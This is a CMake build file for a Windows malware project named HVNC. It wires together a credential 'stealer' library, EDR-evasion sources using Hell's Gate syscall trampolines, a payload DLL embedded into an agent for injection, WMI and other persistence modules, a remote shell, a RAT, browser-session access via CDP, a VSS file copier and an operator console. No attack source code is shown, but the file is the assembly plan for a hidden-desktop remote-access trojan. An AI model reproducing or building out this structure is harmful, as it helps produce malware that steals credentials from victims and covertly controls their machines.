cmake_minimum_required(VERSION 3.20)
project(HVNC CXX ASM)

set(CMAKE_CXX_STANDARD 17)
set(CMAKE_CXX_STANDARD_REQUIRED ON)

if(NOT CMAKE_BUILD_TYPE)
    set(CMAKE_BUILD_TYPE Release)
endif()

if(MSVC)
    add_compile_options(/W4 /EHsc /O2)
    set(CMAKE_CXX_FLAGS_RELEASE "/MT")
else()
    add_compile_options(-Wall -Wextra -O2)
endif()
add_compile_definitions(WIN32_LEAN_AND_MEAN NOMINMAX)

# Static libraries shared by the agent and console
file(GLOB STEALER_SRC
    "${CMAKE_CURRENT_SOURCE_DIR}/src/stealer/*.cpp"
)
file(GLOB EVASION_SRC
    "${CMAKE_CURRENT_SOURCE_DIR}/src/evasion/*.cpp"
)
# The asm trampolines exist in two dialects: GAS (.s) for MinGW/Clang, MASM
# (.asm) for MSVC. Same instructions, only the syntax differs.
if(MSVC)
    set(EVASION_ASM "${CMAKE_CURRENT_SOURCE_DIR}/src/evasion/hells_gate.asm")
else()
    set(EVASION_ASM "${CMAKE_CURRENT_SOURCE_DIR}/src/evasion/hells_gate.s")
endif()
file(GLOB TRANSPORT_SRC
    "${CMAKE_CURRENT_SOURCE_DIR}/src/transport/*.cpp"
)
add_library(hvnc_core STATIC ${STEALER_SRC} ${EVASION_SRC} ${EVASION_ASM} ${TRANSPORT_SRC})
target_include_directories(hvnc_core PUBLIC
    "${CMAKE_CURRENT_SOURCE_DIR}"
    "${CMAKE_CURRENT_SOURCE_DIR}/src/stealer"
    "${CMAKE_CURRENT_SOURCE_DIR}/src/transport"
    "${CMAKE_CURRENT_SOURCE_DIR}/src/evasion"
)
target_link_libraries(hvnc_core PUBLIC bcrypt crypt32 ws2_32 winhttp ole32 oleaut32 user32 rpcrt4 iphlpapi ntdll advapi32)

# Payload DLL. It shares the stealer and evasion sources with the agent.
if(MSVC)
    set(PAYLOAD_ASM "${CMAKE_CURRENT_SOURCE_DIR}/src/payload/syscall_trampoline_x64.asm")
else()
    set(PAYLOAD_ASM "${CMAKE_CURRENT_SOURCE_DIR}/src/payload/syscall_trampoline_x64.s")
endif()
add_library(payload_dll SHARED
    "${CMAKE_CURRENT_SOURCE_DIR}/src/payload/payload.cpp"
    "${CMAKE_CURRENT_SOURCE_DIR}/src/payload/bootstrap.cpp"
    ${PAYLOAD_ASM}
    ${STEALER_SRC}
    ${EVASION_SRC}
    ${EVASION_ASM}
)
set_target_properties(payload_dll PROPERTIES PREFIX "" OUTPUT_NAME "payload")
target_include_directories(payload_dll PRIVATE
    "${CMAKE_CURRENT_SOURCE_DIR}/src/payload"
    "${CMAKE_CURRENT_SOURCE_DIR}/src/stealer"
    "${CMAKE_CURRENT_SOURCE_DIR}/src/evasion"
)
# Statically link libstdc++ and libgcc into the DLL (non-MSVC only).
if(NOT MSVC)
    target_link_options(payload_dll PRIVATE -static -s)
endif()
target_link_libraries(payload_dll PRIVATE bcrypt crypt32 ws2_32 winhttp ole32 oleaut32 user32 rpcrt4 iphlpapi ntdll advapi32)

# Embed the payload DLL in the agent. The DLL bytes are turned into a
# generated C++ array (_binary_payload_bin_start[] + _binary_payload_bin_size,
# consumed by inject.cpp) via cmake/embed_payload.cmake. Compiler-neutral:
# no objcopy.
add_custom_command(
    OUTPUT "${CMAKE_CURRENT_BINARY_DIR}/payload_embed.cpp"
    COMMAND ${CMAKE_COMMAND}
        -DINPUT=$<TARGET_FILE:payload_dll>
        -DOUTPUT=${CMAKE_CURRENT_BINARY_DIR}/payload_embed.cpp
        -P "${CMAKE_CURRENT_SOURCE_DIR}/cmake/embed_payload.cmake"
    DEPENDS payload_dll
            "${CMAKE_CURRENT_SOURCE_DIR}/cmake/embed_payload.cmake"
    VERBATIM
)
set(PAYLOAD_EMBED_SRC "${CMAKE_CURRENT_BINARY_DIR}/payload_embed.cpp")

# Agent executable (embeds the payload bytes; see the embed step above)
set(AGENT_SOURCES
    src/agent/main.cpp
    src/agent/inject.cpp
    src/agent/persist.cpp
    src/agent/persist_wmi.cpp
    src/agent/shell.cpp
    src/browser/cdp_client.cpp
    src/hvnc/hvnc.cpp
    src/ghost/ghost.cpp
    src/ghost/vss_copy.cpp
    src/rat/rat.cpp
)
list(APPEND AGENT_SOURCES "${PAYLOAD_EMBED_SRC}")
add_executable(agent ${AGENT_SOURCES})
target_include_directories(agent PRIVATE
    "${CMAKE_CURRENT_SOURCE_DIR}/src/hvnc"
    "${CMAKE_CURRENT_SOURCE_DIR}/src/ghost"
    "${CMAKE_CURRENT_SOURCE_DIR}/src/rat"
    "${CMAKE_CURRENT_SOURCE_DIR}/src/browser"
    "${CMAKE_CURRENT_SOURCE_DIR}/src/agent"
)
target_link_libraries(agent PRIVATE hvnc_core shell32 shlwapi gdi32 advapi32 wbemuuid ole32 oleaut32 uuid windowscodecs vssapi)

# Console executable
add_executable(console
    src/console/console.cpp
)
target_include_directories(console PRIVATE
    "${CMAKE_CURRENT_SOURCE_DIR}/src/console"
)
target_link_libraries(console PRIVATE hvnc_core gdi32)
